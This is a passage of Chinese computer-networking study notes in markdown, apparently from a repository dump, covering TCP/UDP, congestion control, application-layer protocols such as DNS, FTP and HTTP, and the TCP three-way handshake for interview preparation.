<font  color=\"#99CC33\">TCP（Transmission Control Protocol）：<font>\n    传输控制协议\n#### <font  color=\"#99CC33\">UDP（User Datagram Protocol）：<font>\n    用户数据报协议\n#### <font  color=\"#99CC33\">端口（port）（link）：<font>\n    端口的目的是为了确认对方机器是那个进程在于自己进行交互，比如MSN和QQ的端口不同，如果没有端口就可能出现QQ进程和MSN交互错误。端口又称协议端口号。 \n#### <font  color=\"#99CC33\">停止等待协议（link）：<font>\n    指发送方每发送完一个分组就停止发送，等待对方确认，在收到确认之后在发送下一个分组。\n#### <font  color=\"#99CC33\">流量控制（link）：<font>\n    就是让发送方的发送速率不要太快，既要让接收方来得及接收，也不要使网络发生拥塞。\n#### <font  color=\"#99CC33\">拥塞控制（link）：<font>\n    防止过多的数据注入到网络中，这样可以使网络中的路由器或链路不致过载。拥塞控制所要做的都有一个前提，就是网络能够承受现有的网络负荷。\n\n\n### <font color=\"#003333\">（2），重要知识点总结<font>\n\n<font color=\"#999999\">1，运输层提供应用进程之间的逻辑通信，也就是说，运输层之间的通信并不是真正在两个运输层之间直接传输数据。运输层向应用层屏蔽了下面网络的细节（如网络拓补，所采用的路由选择协议等），它使应用进程之间看起来好像两个运输层实体之间有一条端到端的逻辑通信信道。\n\n2，网络层为主机提供逻辑通信，而运输层为应用进程之间提供端到端的逻辑通信。\n\n3，运输层的两个重要协议是用户数据报协议UDP和传输控制协议TCP。按照OSI的术语，两个对等运输实体在通信时传送的数据单位叫做运输协议数据单元TPDU（Transport Protocol Data Unit）。但在TCP/IP体系中，则根据所使用的协议是TCP或UDP，分别称之为TCP报文段或UDP用户数据报。\n\n4，UDP在传送数据之前不需要先建立连接，远地主机在收到UDP报文后，不需要给出任何确认。虽然UDP不提供可靠交付，但在某些情况下UDP确是一种最有效的工作方式。 TCP提供面向连接的服务。在传送数据之前必须先建立连接，数据传送结束后要释放连接。TCP不提供广播或多播服务。由于TCP要提供可靠的，面向连接的运输服务，这一难以避免增加了许多开销，如确认，流量控制，计时器以及连接管理等。这不仅使协议数据单元的首部增大很多，还要占用许多处理机资源。\n\n5，硬件端口是不同硬件设备进行交互的接口，而软件端口是应用层各种协议进程与运输实体进行层间交互的一种地址。UDP和TCP的首部格式中都有源端口和目的端口这两个重要字段。当运输层收到IP层交上来的运输层报文时，就能够 根据其首部中的目的端口号把数据交付应用层的目的应用层。（两个进程之间进行通信不光要知道对方IP地址而且要知道对方的端口号(为了找到对方计算机中的应用进程)）\n\n6，运输层用一个16位端口号标志一个端口。端口号只有本地意义，它只是为了标志计算机应用层中的各个进程在和运输层交互时的层间接口。在互联网的不同计算机中，相同的端口号是没有关联的。协议端口号简称端口。虽然通信的终点是应用进程，但只要把所发送的报文交到目的主机的某个合适端口，剩下的工作（最后交付目的进程）就由TCP和UDP来完成。\n\n7，运输层的端口号分为服务器端使用的端口号（0~1023指派给熟知端口，1024~49151是登记端口号）和客户端暂时使用的端口号（49152~65535）\n\n8，UDP的主要特点是①无连接②尽最大努力交付③面向报文④无拥塞控制⑤支持一对一，一对多，多对一和多对多的交互通信⑥首部开销小（只有四个字段：源端口，目的端口，长度和检验和）\n\n9，TCP的主要特点是①面向连接②每一条TCP连接只能是一对一的③提供可靠交付④提供全双工通信⑤面向字节流\n\n10，TCP用主机的IP地址加上主机上的端口号作为TCP连接的端点。这样的端点就叫做套接字（socket）或插口。套接字用（IP地址：端口号）来表示。每一条TCP连接唯一被通信两端的两个端点所确定。\n\n 11，停止等待协议是为了实现可靠传输的，它的基本原理就是每发完一个分组就停止发送，等待对方确认。在收到确认后再发下一个分组。\n \n12，为了提高传输效率，发送方可以不使用低效率的停止等待协议，而是采用流水线传输。流水线传输就是发送方可连续发送多个分组，不必每发完一个分组就停下来等待对方确认。这样可使信道上一直有数据不间断的在传送。这种传输方式可以明显提高信道利用率。\n\n13，停止等待协议中超时重传是指只要超过一段时间仍然没有收到确认，就重传前面发送过的分组（认为刚才发送过的分组丢失了）。因此每发送完一个分组需要设置一个超时计时器，其重转时间应比数据在分组传输的平均往返时间更长一些。这种自动重传方式常称为自动重传请求ARQ。另外在停止等待协议中若收到重复分组，就丢弃该分组，但同时还要发送确认。连续ARQ协议可提高信道利用率。发送维持一个发送窗口，凡位于发送窗口内的分组可连续发送出去，而不需要等待对方确认。接收方一般采用累积确认，对按序到达的最后一个分组发送确认，表明到这个分组位置的所有分组都已经正确收到了。\n\n14，TCP报文段的前20个字节是固定的，后面有4n字节是根据需要增加的选项。因此，TCP首部的最小长度是20字节。\n\n15，TCP使用滑动窗口机制。发送窗口里面的序号表示允许发送的序号。发送窗口后沿的后面部分表示已发送且已收到确认，而发送窗口前沿的前面部分表示不晕与发送。发送窗口后沿的变化情况有两种可能，即不动（没有收到新的确认）和前移（收到了新的确认）。发送窗口的前沿通常是不断向前移动的。一般来说，我们总是希望数据传输更快一些。但如果发送方把数据发送的过快，接收方就可能来不及接收，这就会造成数据的丢失。所谓流量控制就是让发送方的发送速率不要太快，要让接收方来得及接收。\n\n16，在某段时间，若对网络中某一资源的需求超过了该资源所能提供的可用部分，网络的性能就要变坏。这种情况就叫拥塞。拥塞控制就是为了防止过多的数据注入到网络中，这样就可以使网络中的路由器或链路不致过载。拥塞控制所要做的都有一个前提，就是网络能够承受现有的网络负荷。拥塞控制是一个全局性的过程，涉及到所有的主机，所有的路由器，以及与降低网络传输性能有关的所有因素。相反，流量控制往往是点对点通信量的控制，是个端到端的问题。流量控制所要做到的就是抑制发送端发送数据的速率，以便使接收端来得及接收。\n\n17，为了进行拥塞控制，TCP发送方要维持一个拥塞窗口cwnd的状态变量。拥塞控制窗口的大小取决于网络的拥塞程度，并且动态变化。发送方让自己的发送窗口取为拥塞窗口和接收方的接受窗口中较小的一个。\n\n18，TCP的拥塞控制采用了四种算法，即慢开始，拥塞避免，快重传和快恢复。在网络层也可以使路由器采用适当的分组丢弃策略（如主动队列管理AQM），以减少网络拥塞的发生。\n\n19，运输连接的三个阶段，即：连接建立，数据传送和连接释放。\n\n20，主动发起TCP连接建立的应用进程叫做客户，而被动等待连接建立的应用进程叫做服务器。TCP连接采用三报文握手机制。服务器要确认用户的连接请求，然后客户要对服务器的确认进行确认。\n\n21，TCP的连接释放采用四报文握手机制。任何一方都可以在数据传送结束后发出连接释放的通知，待对方确认后进入半关闭状态。当另一方也没有数据再发送时，则发送连接释放通知，对方确认后就完全关闭了TCP连接\n### <font color=\"#003333\">（3），最重要的知识点<font>\n#### ① <font color=\"#999999\">端口和套接字的意义<font>\n\n#### ② <font color=\"#999999\">无连接UDP的特点<font>\n\n#### ③ <font color=\"#999999\">面向连接TCP的特点<font>\n\n#### ④ <font color=\"#999999\">在不可靠的网络上实现可靠传输的工作原理，停止等待协议和ARQ协议<font>\n\n#### ① <font color=\"#999999\">TCP的滑动窗口，流量控制，拥塞控制和连接管理<font>\n\n## <font color=\"#003333\" id=\"6\">六应用层<font>\n### <font color=\"#003333\">（1），基本术语<font>\n#### <font  color=\"#99CC33\">  域名系统（DNS）：<font>\n    DNS（Domain Name System，域名系统），万维网上作为域名和IP地址相互映射的一个分布式数据库，能够使用户更方便的访问互联网，而不用去记住能够被机器直接读取的IP数串。\n    通过域名，最终得到该域名对应的IP地址的过程叫做域名解析（或主机名解析）。DNS协议运行在UDP协议之上，使用端口号53。在RFC文档中RFC 2181对DNS有规范说明，RFC 2136对DNS的动态更新进行说明，RFC 2308对DNS查询的反向缓存进行说明。\n#### <font  color=\"#99CC33\"> 文件传输协议（FTP）：<font>\n     FTP 是File TransferProtocol（文件传输协议）的英文简称，而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。同时，它也是一个应用程序（Application）。\n     基于不同的操作系统有不同的FTP应用程序，而所有这些应用程序都遵守同一种协议以传输文件。在FTP的使用当中，用户经常遇到两个概念：\"下载\"（Download）和\"上传\"（Upload）。\n     \"下载\"文件就是从远程主机拷贝文件至自己的计算机上；\"上传\"文件就是将文件从自己的计算机中拷贝至远程主机上。用Internet语言来说，用户可通过客户机程序向（从）远程主机上传（下载）文件。\n     \n#### <font  color=\"#99CC33\"> 简单文件传输协议（TFTP）：<font>\n    TFTP（Trivial File Transfer Protocol,简单文件传输协议）是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议，提供不复杂、开销不大的文件传输服务。端口号为69。\n\n#### <font  color=\"#99CC33\"> 远程终端协议（TELENET）：<font>\n    Telnet协议是TCP/IP协议族中的一员，是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。\n    在终端使用者的电脑上使用telnet程序，用它连接到服务器。终端使用者可以在telnet程序中输入命令，这些命令会在服务器上运行，就像直接在服务器的控制台上输入一样。\n    可以在本地就能控制服务器。要开始一个telnet会话，必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。\n\n\n#### <font  color=\"#99CC33\"> 万维网（WWW）：<font>\n    WWW是环球信息网的缩写，（亦作“Web”、“WWW”、“'W3'”，英文全称为“World Wide Web”），中文名字为“万维网”，\"环球网\"等，常简称为Web。分为Web客户端和Web服务器程序。\n    WWW可以让Web客户端（常用浏览器）访问浏览Web服务器上的页面。是一个由许多互相链接的超文本组成的系统，通过互联网访问。在这个系统中，每个有用的事物，称为一样“资源”；并且由一个全局“统一资源标识符”（URI）标识；这些资源通过超文本传输协议（Hypertext Transfer Protocol）传送给用户，而后者通过点击链接来获得资源。\n    万维网联盟（英语：World Wide Web Consortium，简称W3C），又称W3C理事会。1994年10月在麻省理工学院（MIT）计算机科学实验室成立。万维网联盟的创建者是万维网的发明者蒂姆·伯纳斯-李。\n    万维网并不等同互联网，万维网只是互联网所能提供的服务其中之一，是靠着互联网运行的一项服务。\n#### <font  color=\"#99CC33\"> 万维网的大致工作工程：<font>\n![万维网的大致工作工程](https://user-gold-cdn.xitu.io/2018/4/1/1627ff96a96087af?w=839&h=610&f=jpeg&s=86703)\n\n#### <font  color=\"#99CC33\"> 统一资源定位符（URL）：<font>\n    统一资源定位符是对可以从互联网上得到的资源的位置和访问方法的一种简洁的表示，是互联网上标准资源的地址。互联网上的每个文件都有一个唯一的URL，它包含的信息指出文件的位置以及浏览器应该怎么处理它。 \n\n#### <font  color=\"#99CC33\"> 超文本传输协议（HTTP）：<font>\n    超文本传输协议（HTTP，HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。所有的WWW文件都必须遵守这个标准。\n    设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法。1960年美国人Ted Nelson构思了一种通过计算机处理文本信息的方法，并称之为超文本（hypertext）,这成为了HTTP超文本传输协议标准架构的发展根基。\n\n#### <font  color=\"#99CC33\"> 代理服务器（Proxy Server）：<font>\n     代理服务器（Proxy Server）是一种网络实体，它又称为万维网高速缓存。\n     代理服务器把最近的一些请求和响应暂存在本地磁盘中。当新请求到达时，若代理服务器发现这个请求与暂时存放的的请求相同，就返回暂存的响应，而不需要按URL的地址再次去互联网访问该资源。\n     代理服务器可在客户端或服务器工作，也可以在中间系统工作。 \n      \n#### <font  color=\"#99CC33\"> http请求头：<font>\n    http请求头，HTTP客户程序（例如浏览器），向服务器发送请求的时候必须指明请求类型（一般是GET或者POST）。如有必要，客户程序还可以选择发送其他的请求头。\n    - Accept：浏览器可接受的MIME类型。\n    - Accept-Charset：浏览器可接受的字符集。\n    - Accept-Encoding：浏览器能够进行解码的数据编码方式，比如gzip。Servlet能够向支持gzip的浏览器返回经gzip编码的HTML页面。许多情形下这可以减少5到10倍的下载时间。\n    - Accept-Language：浏览器所希望的语言种类，当服务器能够提供一种以上的语言版本时要用到。\n    - Authorization：授权信息，通常出现在对服务器发送的WWW-Authenticate头的应答中。\n    - Connection：表示是否需要持久连接。如果Servlet看到这里的值为“Keep-Alive”，或者看到请求使用的是HTTP 1.1（HTTP 1.1默认进行持久连接），它就可以利用持久连接的优点，当页面包含多个元素时（例如Applet，图片），显著地减少下载所需要的时间。要实现这一点，Servlet需要在应答中发送一个Content-Length头，最简单的实现方法是：先把内容写入ByteArrayOutputStream，然后在正式写出内容之前计算它的大小。\n    - Content-Length：表示请求消息正文的长度。\n    - Cookie：这是最重要的请求头信息之一\n    - From：请求发送者的email地址，由一些特殊的Web客户程序使用，浏览器不会用到它。\n    - Host：初始URL中的主机和端口。\n    - If-Modified-Since：只有当所请求的内容在指定的日期之后又经过修改才返回它，否则返回304“Not Modified”应答。\n    - Pragma：指定“no-cache”值表示服务器必须返回一个刷新后的文档，即使它是代理服务器而且已经有了页面的本地拷贝。\n    - Referer：包含一个URL，用户从该URL代表的页面出发访问当前请求的页面。\n    - User-Agent：浏览器类型，如果Servlet返回的内容与浏览器类型有关则该值非常有用。\n#### <font  color=\"#99CC33\">简单邮件传输协议(SMTP)：<font>\n     SMTP（Simple Mail Transfer Protocol）即简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则，由它来控制信件的中转方式。\n     SMTP协议属于TCP/IP协议簇，它帮助每台计算机在发送或中转信件时找到下一个目的地。\n     通过SMTP协议所指定的服务器,就可以把E-mail寄到收信人的服务器上了，整个过程只要几分钟。SMTP服务器则是遵循SMTP协议的发送邮件服务器，用来发送或中转发出的电子邮件。\n\n#### <font  color=\"#99CC33\">搜索引擎：<font>\n     搜索引擎（Search Engine）是指根据一定的策略、运用特定的计算机程序从互联网上搜集信息，在对信息进行组织和处理后，为用户提供检索服务，将用户检索相关的信息展示给用户的系统。\n     搜索引擎包括全文索引、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表等。\n#### <font  color=\"#99CC33\">全文索引：<font>\n     全文索引技术是目前搜索引擎的关键技术。\n    试想在1M大小的文件中搜索一个词，可能需要几秒，在100M的文件中可能需要几十秒，如果在更大的文件中搜索那么就需要更大的系统开销，这样的开销是不现实的。\n    所以在这样的矛盾下出现了全文索引技术，有时候有人叫倒排文档技术。\n#### <font  color=\"#99CC33\">目录索引：<font>\n    目录索引（ search index/directory)，顾名思义就是将网站分门别类地存放在相应的目录中，因此用户在查询信息时，可选择关键词搜索，也可按分类目录逐层查找。\n\n\n#### <font  color=\"#99CC33\">垂直搜索引擎：<font>\n    垂直搜索引擎是针对某一个行业的专业搜索引擎，是搜索引擎的细分和延伸，是对网页库中的某类专门的信息进行一次整合，定向分字段抽取出需要的数据进行处理后再以某种形式返回给用户。\n    垂直搜索是相对通用搜索引擎的信息量大、查询不准确、深度不够等提出来的新的搜索引擎服务模式，通过针对某一特定领域、某一特定人群或某一特定需求提供的有一定价值的信息和相关服务。\n    其特点就是“专、精、深”，且具有行业色彩，相比较通用搜索引擎的海量信息无序化，垂直搜索引擎则显得更加专注、具体和深入。\n\n### <font color=\"#003333\">（2），重要知识点总结<font>\n<font color=\"#999999\">1，文件传输协议（FTP）使用TCP可靠的运输服务。FTP使用客户服务器方式。一个FTP服务器进程可以同时为多个用户提供服务。在进进行文件传输时，FTP的客户和服务器之间要先建立两个并行的TCP连接:控制连接和数据连接。实际用于传输文件的是数据连接。\n\n<font color=\"#999999\">2，万维网客户程序与服务器之间进行交互使用的协议时超文本传输协议HTTP。HTTP使用TCP连接进行可靠传输。但HTTP本身是无连接、无状态的。HTTP/1.1协议使用了持续连接（分为非流水线方式和流水线方式）\n\n<font color=\"#999999\">3，电子邮件把邮件发送到收件人使用的邮件服务器，并放在其中的收件人邮箱中，收件人可随时上网到自己使用的邮件服务器读取，相当于电子邮箱。\n\n<font color=\"#999999\">4，一个电子邮件系统有三个重要组成构件：用户代理、邮件服务器、邮件协议（包括邮件发送协议，如SMTP，和邮件读取协议，如POP3和IMAP）。用户代理和邮件服务器都要运行这些协议。\n\n\n\n### <font color=\"#003333\">（3），最重要知识点总结<font>\n\n#### ① <font color=\"#999999\">域名系统-从域名解析出IP地址<font>\n#### ② <font color=\"#999999\">访问一个网站大致的过程<font>\n#### ③ <font color=\"#999999\">系统调用和应用编程接口概念<font>\n\n"
  },
  {
    "path": "docs/network/计算机网络.md",
    "content": "\n<!-- MarkdownTOC -->\n\n- [一 OSI与TCP/IP各层的结构与功能,都有哪些协议](#一-osi与tcpip各层的结构与功能都有哪些协议)\n  - [五层协议的体系结构](#五层协议的体系结构)\n  - [1 应用层](#1-应用层)\n    - [域名系统](#域名系统)\n    - [HTTP协议](#http协议)\n  - [2 运输层](#2-运输层)\n    - [运输层主要使用以下两种协议](#运输层主要使用以下两种协议)\n    - [UDP 的主要特点](#udp-的主要特点)\n    - [TCP 的主要特点](#tcp-的主要特点)\n  - [3 网络层](#3-网络层)\n  - [4 数据链路层](#4-数据链路层)\n  - [5 物理层](#5-物理层)\n  - [总结一下](#总结一下)\n- [二 TCP 三次握手和四次挥手\\(面试常客\\)](#二-tcp-三次握手和四次挥手面试常客)\n  - [为什么要三次握手](#为什么要三次握手)\n  - [为什么要传回 SYN](#为什么要传回-syn)\n  - [传了 SYN,为啥还要传 ACK](#传了-syn为啥还要传-ack)\n  - [为什么要四次挥手](#为什么要四次挥手)\n- [三 TCP、UDP 协议的区别](#三-tcp、udp-协议的区别)\n- [四 TCP 协议如何保证可靠传输](#四-tcp-协议如何保证可靠传输)\n  - [停止等待协议](#停止等待协议)\n  - [自动重传请求 ARQ 协议](#自动重传请求-arq-协议)\n  - [连续ARQ协议](#连续arq协议)\n  - [滑动窗口](#滑动窗口)\n  - [流量控制](#流量控制)\n  - [拥塞控制](#拥塞控制)\n- [五  在浏览器中输入url地址 ->> 显示主页的过程（面试常客）](#五-在浏览器中输入url地址---显示主页的过程（面试常客）)\n- [六 状态码](#六-状态码)\n- [七 各种协议与HTTP协议之间的关系](#七-各种协议与http协议之间的关系)\n- [八  HTTP长连接、短连接](#八-http长连接、短连接)\n- [写在最后](#写在最后)\n  - [计算机网络常见问题回顾](#计算机网络常见问题回顾)\n  - [建议](#建议)\n\n<!-- /MarkdownTOC -->\n\n\n相对与上一个版本的计算机网路面试知识总结，这个版本增加了 “TCP协议如何保证可靠传输”包括超时重传、停止等待协议、滑动窗口、流量控制、拥塞控制等内容并且对一些已有内容做了补充。\n\n\n## 一 OSI与TCP/IP各层的结构与功能,都有哪些协议\n\n\n###  五层协议的体系结构\n\n学习计算机网络时我们一般采用折中的办法，也就是中和 OSI 和 TCP/IP 的优点，采用一种只有五层协议的体系结构，这样既简洁又能将概念阐述清楚。\n\n![五层协议的体系结构](https://user-gold-cdn.xitu.io/2018/7/29/164e5307471e8eba?w=633&h=344&f=png&s=164623)\n\n结合互联网的情况，自上而下地，非常简要的介绍一下各层的作用。\n\n### 1 应用层\n\n**应用层(application-layer）的任务是通过应用进程间的交互来完成特定网络应用。**应用层协议定义的是应用进程（进程：主机中正在运行的程序）间的通信和交互的规则。对于不同的网络应用需要不同的应用层协议。在互联网中应用层协议很多，如**域名系统DNS**，支持万维网应用的 **HTTP协议**，支持电子邮件的 **SMTP协议**等等。我们把应用层交互的数据单元称为报文。\n\n#### 域名系统\n\n> 域名系统(Domain Name System缩写 DNS，Domain Name被译为域名)是因特网的一项核心服务，它作为可以将域名和IP地址相互映射的一个分布式数据库，能够使人更方便的访问互联网，而不用去记住能够被机器直接读取的IP数串。（百度百科）例如：一个公司的 Web 网站可看作是它在网上的门户，而域名就相当于其门牌地址，通常域名都使用该公司的名称或简称。例如上面提到的微软公司的域名，类似的还有：IBM 公司的域名是 www.ibm.com、Oracle 公司的域名是 www.oracle.com、Cisco公司的域名是 www.cisco.com 等。\n\n#### HTTP协议\n> 超文本传输协议（HTTP，HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。所有的 WWW（万维网） 文件都必须遵守这个标准。设计 HTTP 最初的目的是为了提供一种发布和接收 HTML 页面的方法。（百度百科）\n\n### 2 运输层\n\n**运输层(transport layer)的主要任务就是负责向两台主机进程之间的通信提供通用的数据传输服务**。应用进程利用该服务传送应用层报文。“通用的”是指并不针对某一个特定的网络应用，而是多种应用可以使用同一个运输层服务。由于一台主机可同时运行多个线程，因此运输层有复用和分用的功能。所谓复用就是指多个应用层进程可同时使用下面运输层的服务，分用和复用相反，是运输层把收到的信息分别交付上面应用层中的相应进程。\n\n#### 运输层主要使用以下两种协议\n\n1. **传输控制协议 TCP**（Transmission Control Protocol）--提供**面向连接**的，**可靠的**数据传输服务。\n2. **用户数据协议 UDP**（User Datagram Protocol）--提供**无连接**的，尽最大努力的数据传输服务（**不保证数据传输的可靠性**）。\n\n#### UDP 的主要特点\n1. UDP 是无连接的；\n2. UDP 使用尽最大努力交付，即不保证可靠交付，因此主机不需要维持复杂的链接状态（这里面有许多参数）；\n3. UDP 是面向报文的；\n4. UDP 没有拥塞控制，因此网络出现拥塞不会使源主机的发送速率降低（对实时应用很有用，如 直播，实时视频会议等）；\n5. UDP 支持一对一、一对多、多对一和多对多的交互通信；\n6. UDP 的首部开销小，只有8个字节，比TCP的20个字节的首部要短。\n\n#### TCP 的主要特点\n1. TCP 是面向连接的。（就好像打电话一样，通话前需要先拨号建立连接，通话结束后要挂机释放连接）；\n2. 每一条 TCP 连接只能有两个端点，每一条TCP连接只能是点对点的（一对一）；\n3. TCP 提供可靠交付的服务。通过TCP连接传送的数据，无差错、不丢失、不重复、并且按序到达；\n4. TCP 提供全双工通信。TCP 允许通信双方的应用进程在任何时候都能发送数据。TCP 连接的两端都设有发送缓存和接收缓存，用来临时存放双方通信的数据；\n5. 面向字节流。TCP 中的“流”（Stream）指的是流入进程或从进程流出的字节序列。“面向字节流”的含义是：虽然应用程序和 TCP 的交互是一次一个数据块（大小不等），但 TCP 把应用程序交下来的数据仅仅看成是一连串的无结构的字节流。\n\n\n### 3 网络层\n\n**在 计算机网络中进行通信的两个计算机之间可能会经过很多个数据链路，也可能还要经过很多通信子网。网络层的任务就是选择合适的网间路由和交换结点， 确保数据及时传送。** 在发送数据时，网络层把运输层产生的报文段或用户数据报封装成分组和包进行传送。在 TCP/IP 体系结构中，由于网络层使用 **IP 协议**，因此分组也叫 **IP 数据报** ，简称 **数据报**。\n\n这里要注意：**不要把运输层的“用户数据报 UDP ”和网络层的“ IP 数据报”弄混**。另外，无论是哪一层的数据单元，都可笼统地用“分组”来表示。\n\n\n这里强调指出，网络层中的“网络”二字已经不是我们通常谈到的具体网络，而是指计算机网络体系结构模型中第三层的名称.\n\n互联网是由大量的异构（heterogeneous）网络通过路由器（router）相互连接起来的。互联网使用的网络层协议是无连接的网际协议（Intert Protocol）和许多路由选择协议，因此互联网的网络层也叫做**网际层**或**IP层**。\n\n### 4 数据链路层\n**数据链路层(data link layer)通常简称为链路层。两台主机之间的数据传输，总是在一段一段的链路上传送的，这就需要使用专门的链路层的协议。** 在两个相邻节点之间传送数据时，**数据链路层将网络层交下来的 IP 数据报组装程帧**，在两个相邻节点间的链路上传送帧。每一帧包括数据和必要的控制信息（如同步信息，地址信息，差错控制等）。\n\n在接收数据时，控制信息使接收端能够知道一个帧从哪个比特开始和到哪个比特结束。这样，数据链路层在收到一个帧后，就可从中提出数据部分，上交给网络层。\n控制信息还使接收端能够检测到所收到的帧中有误差错。如果发现差错，数据链路层就简单地丢弃这个出了差错的帧，以避免继续在网络中传送下去白白浪费网络资源。如果需要改正数据在链路层传输时出现差错（这就是说，数据链路层不仅要检错，而且还要纠错），那么就要采用可靠性传输协议来纠正出现的差错。这种方法会使链路层的协议复杂些。\n\n### 5 物理层\n在物理层上所传送的数据单位是比特。\n **物理层(physical layer)的作用是实现相邻计算机节点之间比特流的透明传送，尽可能屏蔽掉具体传输介质和物理设备的差异。** 使其上面的数据链路层不必考虑网络的具体传输介质是什么。“透明传送比特流”表示经实际电路传送后的比特流没有发生变化，对传送的比特流来说，这个电路好像是看不见的。\n\n在互联网使用的各种协中最重要和最著名的就是 TCP/IP 两个协议。现在人们经常提到的TCP/IP并不一定单指TCP和IP这两个具体的协议，而往往表示互联网所使用的整个TCP/IP协议族。\n\n### 总结一下\n\n上面我们对计算机网络的五层体系结构有了初步的了解，下面附送一张七层体系结构图总结一下。图片来源：https://blog.csdn.net/yaopeng_2005/article/details/7064869\n![七层体系结构图](https://user-gold-cdn.xitu.io/2018/7/29/164e529309f0fa33?w=1120&h=1587&f=gif&s=225325)\n\n## 二 TCP 三次握手和四次挥手(面试常客)\n\n为了准确无误地把数据送达目标处，TCP协议采用了三次握手策略。\n\n**漫画图解：**\n\n图片来源：《图解HTTP》\n![TCP三次握手](https://user-gold-cdn.xitu.io/2018/5/8/1633e127396541f1?w=864&h=439&f=png&s=226095)\n\n**简单示意图：**\n![TCP三次握手](https://user-gold-cdn.xitu.io/2018/5/8/1633e14233d95972?w=542&h=427&f=jpeg&s=15088)\n\n- 客户端–发送带有 SYN 标志的数据包–一次握手–服务端\n- 服务端–发送带有 SYN/ACK 标志的数据包–二次握手–客户端\n- 客户端–发送带有带有 ACK 标志的数据包–三次握手–服务端\n\n### 为什么要三次握手\n\n**三次握手的目的是建立可靠的通信信道，说到通讯，简单来说就是数据的发送与接收，而三次握手最主要的目的就是双方确认自己与对方的发送与接收是正常的。**\n\n第一次握手：Client 什么都不能确认；Server 确认了对方发送正常\n\n第二次握手：Client 确认了：自己发送、接收正常，对方发送、接收正常；Server 确认了：自己接收正常，对方发送正常\n\n第三次握手：Client 确认了：自己发送、接收正常，对方发送、接收正常；Server 确认了：自己发送、接收正常，对方发送接收正常\n\n所以三次握手就能确认双发收发功能都正常，缺一不可。\n\n### 为什么要传回 SYN\n接收端传回发送端所发送的 SYN 是为了告诉发送端，我接收到的信息确实就是你所发送的信号了。\n\n> SYN 是 TCP/IP 建立连接时使用的握手信号。在客户机和服务器之间建立正常的 TCP 网络连接时，客户机首先发出一个 SYN 消息，服务器使用 SYN-ACK 应答表示接收到了这个消息，最后客户机再以 ACK(Acknowledgement[汉译：确认字符 ,在数据通信传输中，接收站发给发送站的一种传输控制字符。它表示确认发来的数据已经接受无误。 ]）消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接，数据才可以在客户机和服务器之间传递。\n\n\n### 传了 SYN,为啥还要传 ACK\n\n双方通信无误必须是两者互相发送信息都无误。传了 SYN，证明发送方到接收方的通道没有问题，但是接收方到发送方的通道还需要 ACK 信号来进行验证。\n\n![TCP四次挥手](https://user-gold-cdn.xitu.io/2018/5/8/1633e1676e2ac0a3?w=500&h=340&f=jpeg&s=13406)\n\n断开一个 TCP 连接则需要“四次挥手”：\n\n- 客户端-发送一个 FIN，用来关闭客户端到服务器的数据传送\n- 服务器-收到这个 FIN，它发回一 个 ACK，确认序号为收到的序号加1 。和 SYN 一样，一个 FIN 将占用一个序号\n- 服务器-关闭与客户端的连接，发送一个FIN给客户端\n- 客户端-发回 ACK 报文确认，并将确认序号设置为收到序号加1\n\n\n###  为什么要四次挥手\n\n任何一方都可以在数据传送结束后发出连接释放的通知，待对方确认后进入半关闭状态。当另一方也没有数据再发送的时候，则发出连接释放通知，对方确认后就完全关闭了TCP连接。\n\n举个例子：A 和 B 打电话，通话即将结束后，A 说“我没啥要说的了”，B回答“我知道了”，但是 B 可能还会有要说的话，A 不能要求 B 跟着自己的节奏结束通话，于是 B 可能又巴拉巴拉说了一通，最后 B 说“我说完了”，A 回答“知道了”，这样通话才算结束。\n\n上面讲的比较概括，推荐一篇讲的比较细致的文章：[https://blog.csdn.net/qzcsu/article/details/72861891](https://blog.csdn.net/qzcsu/article/details/72861891)\n\n## 三 TCP、UDP 协议的区别\n![TCP、UDP协议的区别](https://user-gold-cdn.xitu.io/2018/4/19/162db5e97e9a9e01?imageView2/0/w/1280/h/960/format/webp/ignore-error/1)\n\nUDP 在传送数据之前不需要先建立连接，远地主机在收到 UDP 报文后，不需要给出任何确认。虽然 UDP 不提供可靠交付，但在某些情况下 UDP 确是一种最有效的工作方式（一般用于即时通信），比如： QQ 语音、 QQ 视频 、直播等等\n\nTCP 提供面向连接的服务。在传送数据之前必须先建立连接，数据传送结束后要释放连接。 TCP 不提供广播或多播服务。由于 TCP 要提供可靠的，面向连接的运输服务（TCP的可靠体现在TCP在传递数据之前，会有三次握手来建立连接，而且在数据传递时，有确认、窗口、重传、拥塞控制机制，在数据传完后，还会断开连接用来节约系统资源），这一难以避免增加了许多开销，如确认，流量控制，计时器以及连接管理等。这不仅使协议数据单元的首部增大很多，还要占用许多处理机资源。TCP 一般用于文件传输、发送和接收邮件、远程登录等场景。\n\n## 四 TCP 协议如何保证可靠传输\n\n1. 应用数据被分割成 TCP 认为最适合发送的数据块。 \n2. TCP 给发送的每一个包进行编号，接收方对数据包进行排序，把有序数据传送给应用层。 \n3. **校验和：** TCP 将保持它首部和数据的检验和。这是一个端到端的检验和，目的是检测数据在传输过程中的任何变化。如果收到段的检验和有差错，TCP 将丢弃这个报文段和不确认收到此报文段。 \n4. TCP 的接收端会丢弃重复的数据。 \n5. **流量控制：** TCP 连接的每一方都有固定大小的缓冲空间，TCP的接收端只允许发送端发送接收端缓冲区能接纳的数据。当接收方来不及处理发送方的数据，能提示发送方降低发送的速率，防止包丢失。TCP 使用的流量控制协议是可变大小的滑动窗口协议。 （TCP 利用滑动窗口实现流量控制）\n6. **拥塞控制：** 当网络拥塞时，减少数据的发送。\n7. **停止等待协议** 也是为了实现可靠传输的，它的基本原理就是每发完一个分组就停止发送，等待对方确认。在收到确认后再发下一个分组。\n8. **超时重传：** 当 TCP 发出一个段后，它启动一个定时器，等待目的端确认收到这个报文段。如果不能及时收到一个确认，将重发这个报文段。 \n\n\n\n### 停止等待协议\n- 停止等待协议是为了实现可靠传输的，它的基本原理就是每发完一个分组就停止发送，等待对方确认。在收到确认后再发下一个分组；\n- 在停止等待协议中，若接收方收到重复分组，就丢弃该分组，但同时还要发送确认；\n\n\n**1) 